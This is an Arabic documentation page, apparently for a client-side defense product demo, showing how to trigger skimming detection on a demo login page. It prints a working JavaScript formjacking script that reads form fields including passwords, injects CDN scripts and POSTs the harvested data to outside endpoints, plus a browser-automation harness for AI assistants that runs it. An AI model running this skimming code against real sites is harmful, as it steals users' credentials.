- الرئيسية
- الدفاع من جهة العميل
- كشف محاولات الهجوم
كشف محاولات الهجوم
كشف محاولات الهجوم
Section titled “كشف محاولات الهجوم”تراقب CSD سلوك JavaScript داخل المتصفح. على عكس جدار حماية تطبيقات الويب (WAF) أو دفاع Bot، لا يمكن تشغيل كشف CSD باستخدام أوامر curl — إذ يتطلب ذلك نشاطاً فعلياً للنصوص البرمجية على جانب المتصفح. يُشغّل النص البرمجي المدمج التالي جميع إشارات الكشف الثلاث لـ CSD في تنفيذ واحد: حصاد حقول النماذج، وحقن نصوص برمجية من أطراف ثالثة من نطاقات CDN متعددة، وتسريب البيانات إلى نقاط النهاية الخارجية.
تشغيل نص محاكاة مدمج
Section titled “تشغيل نص محاكاة مدمج”-
انتقل إلى صفحة تسجيل الدخول في Juice Shop على
https://botdemo.sales-demo.f5demos.com/#/login -
أدخل بيانات اعتماد وهمية في حقول النموذج — اكتب
test@example.comفي حقل البريد الإلكتروني وP@ssword123في حقل كلمة المرور (لا تُرسل النموذج) -
افتح أدوات المطور (F12 → تبويب Console)


-
الصق النص البرمجي التالي في وحدة التحكم واضغط Enter — يعمل تلقائياً كدالة ذاتية التنفيذ
Combined Detection Script // CSD Demo — Combined Detection Script// Triggers ALL CSD detection signals: field reads, script injection, exfiltration(function() {console.log('='.repeat(50));console.log('[CSD Demo] Combined Detection Script — Starting');console.log('='.repeat(50));// Phase 1: Harvest all form fields (CSD tracks field reads on page-load DOM fields)console.log('\n[Formjack] Phase 1: Form field harvesting');var inputs = document.querySelectorAll('input');var harvested = {};inputs.forEach(function(input) {var name = input.name || input.id || input.type;harvested[name] = input.value || '(empty)';});console.log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);// Phase 2: Inject third-party scripts from 4 CDN domainsconsole.log('\n[Supply Chain] Phase 2: Multi-CDN script injection');var cdns = [{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }];cdns.forEach(function(cdn) {var script = document.createElement('script');script.src = cdn.url;script.onload = function() {console.log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url);};script.onerror = function() {console.log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url);};document.head.appendChild(script);console.log('[Supply Chain] Injected script tag: ' + cdn.name);});// Phase 3: Exfiltrate harvested data to external endpointsconsole.log('\n[Exfil] Phase 3: Data exfiltration');var payload = JSON.stringify({type: 'combined_demo',credentials: harvested,page: window.location.href,timestamp: Date.now()});fetch('https://www.httpbin.org/post', {method: 'POST',mode: 'no-cors',body: payload}).then(function() {console.log('[Exfil] Data sent to www.httpbin.org');});fetch('https://jsonplaceholder.typicode.com/posts', {method: 'POST',mode: 'no-cors',headers: { 'Content-Type': 'application/json' },body: payload}).then(function() {console.log('[Exfil] Data sent to jsonplaceholder.typicode.com');});// Summaryconsole.log('\n' + '='.repeat(50));console.log('[CSD Demo] Simulation complete');console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (4 CDN domains)');console.log('[CSD Demo] Exfil channels: 2 (fetch POST)');console.log('[CSD Demo] Detection takes 5-10 minutes to appear in the CSD console.');console.log('='.repeat(50));})(); -
لاحظ الإخراج المرحلي
[CSD Demo]في وحدة التحكم الذي يؤكد كل خطوة: حصاد الحقول، وحقن النصوص البرمجية من 4 نطاقات CDN، وتسريب البيانات. تُقدّمesm.shصياغة وحدات ES (export default …) — وعند تحميلها كوسم<script>كلاسيكي يتسبب ذلك فيUncaught SyntaxError: Cannot use import statement outside a module. هذا أمر متوقع ولا يؤثر على كشف CSD (لا يزال وسم النص البرمجي محقوناً وطلب الشبكة لا يزال يُرسَل)

التنفيذ الآلي بالذكاء الاصطناعي
Section titled “التنفيذ الآلي بالذكاء الاصطناعي”تُنفّذ مساعدات الذكاء الاصطناعي المزوّدة بأدوات أتمتة المتصفح (MCP Chrome DevTools، وPlaywright، وPuppeteer) المحاكاة برمجياً بدلاً من اتباع الخطوات اليدوية أعلاه:
- التنقل باستخدام initScript — انتقل أولاً إلى
about:blankلضمان سياق مستند نظيف، ثم استخدمnavigate_pageللانتقال إلى عنوان URL لصفحة تسجيل الدخول (مثلhttp://$F5XC_DOMAINNAME/#/login) معinitScriptيحفظsetIntervalوclearIntervalوfetchوconsole.logالأصلية قبل أن تُغيّرها zone.js، ويستطلع حقول نموذج تسجيل الدخول، ويملأ بيانات الاعتماد عبر مُعيّنHTMLInputElement.prototype.valueالأصلي، وينفّذ فوراً نص الكشف المدمج بصورة مضمّنة. استخدم initScript الحرفي أدناه. - إغلاق لافتة الترحيب — استخدم
press_keyمعEscapeلإغلاق لافتة الترحيب. في الزيارات اللاحقة قد لا تظهر اللافتة (نظراً لاستمرار الكوكيز) - الانتظار حتى الاكتمال — انتظر 10 ثوانٍ حتى تكتمل جميع ردود اتصال تحميل/خطأ نصوص CDN البرمجية وحلول وعود fetch
- التقاط الأدلة — استخدم
list_console_messagesللتحقق من[CSD Demo] Simulation complete؛ واستخدمlist_network_requestsمُصفَّىً حسب النوعينscriptوfetchللتحقق من رموز حالة HTTP
تسخير initScript (حرفي — يُغلّف نص الكشف المدمج للتنفيذ الآلي):
// Save native references before zone.js patches themvar _si = window.setInterval.bind(window);var _ci = window.clearInterval.bind(window);var _fetch = window.fetch.bind(window);var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection scriptvar _poll = _si(function() { var emailEl = document.querySelector('input[type="email"]'); var passEl = document.querySelector('input[type="password"]'); if (emailEl && passEl) { _ci(_poll); // Fill credentials via native setter (bypasses zone.js) var nativeSet = Object.getOwnPropertyDescriptor( window.HTMLInputElement.prototype, 'value').set; nativeSet.call(emailEl, 'test@example.com'); emailEl.dispatchEvent(new Event('input', { bubbles: true })); nativeSet.call(passEl, 'P@ssword123'); passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil (function() { _log('=================================================='); _log('[CSD Demo] Combined Detection Script — Starting'); _log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting'); var inputs = document.querySelectorAll('input'); var harvested = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; harvested[name] = input.value || '(empty)'; }); _log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection'); var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' } ]; cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); }; script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); }; document.head.appendChild(script); _log('[Supply Chain] Injected script tag: ' + cdn.name); });
_log('\n[Exfil] Phase 3: Data exfiltration'); var payload = JSON.stringify({ type: 'combined_demo', credentials: harvested, page: window.location.href, timestamp: Date.now() }); _fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }) .then(function() { _log('[Exfil] Data sent to www.httpbin.org'); }); _fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n=================================================='); _log('[CSD Demo] Simulation complete'); _log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length); _log('[CSD Demo] Scripts injected: 4 (4 CDN domains)'); _log('[CSD Demo] Exfil channels: 2 (fetch POST)'); _log('=================================================='); })(); }}, 300);ملاحظة حول fetch الأصلية: يحفظ هذا التسخير window.fetch.bind(window) لتجنب أخطاء zone.js. هذا هو السلوك الصحيح لجميع مراحل محاكاة الهجوم. يحظر تخفيف CSD تحميل النصوص البرمجية (عن طريق مسح قيم src لوسم <script>)، لا استدعاءات fetch()، لذا فإن حفظ مرجع fetch الأصلي لا يؤثر على سلوك التخفيف. يُستخدَم نفس initScript للمرحلتين 2 و3.
يستخدم المشغّلون الذين لا يمتلكون أدوات أتمتة المتصفح الخطوات اليدوية أعلاه.
ما يفعله النص البرمجي
Section titled “ما يفعله النص البرمجي”يُشغّل نص المحاكاة المدمج جميع إشارات الكشف الثلاث لـ CSD:
| السلوك | ما يفعله النص البرمجي | ما تراه CSD |
|---|---|---|
| حصاد الحقول | يقرأ القيم من عناصر input الموجودة (البريد الإلكتروني، وكلمة المرور) | نصوص برمجية تقرأ حقول النماذج الحساسة — مُصنَّفة كخطر مرتفع |
| حقن النصوص البرمجية | يُضيف 4 وسوم <script> تحمّل من cdn.jsdelivr.net وesm.sh وunpkg.com وga.jspm.io | 4 نطاقات نصوص برمجية خارجية جديدة على الصفحة |
| تسريب البيانات | يُرسل البيانات المحصودة عبر fetch إلى www.httpbin.org وjsonplaceholder.typicode.com | استدعاءات شبكة إلى نطاقات خارجية (ملاحظة: تظهر وجهات fetch كتفاعلات شبكة للنصوص البرمجية، لا في عرض نطاق الشبكة) |
محاكاة متقدمة
Section titled “محاكاة متقدمة”النص البرمجي المدمج أعلاه هو نسخة مبسّطة من 3 مراحل (الحصاد، والحقن، والتسريب) مناسبة لمعظم العروض التوضيحية. توفر مكتبة النصوص البرمجية للهجمات 10 نصوص برمجية مُستهدَفة منظّمة حسب نوع الهجوم، بما في ذلك اختبار إجهاد الكشف الأقصى الذي يُضيف التلاعب بـ DOM، وتسريب الكوكيز، وقنوات منارات الصور فوق تغطية النص البرمجي المدمج. استخدم النصوص البرمجية الفردية لإظهار فئات هجوم محددة (اختطاف النماذج، والتخطيط الرقمي، وحقن سلسلة التوريد، وتسريب البيانات، والتلاعب بـ DOM) بصورة منفردة.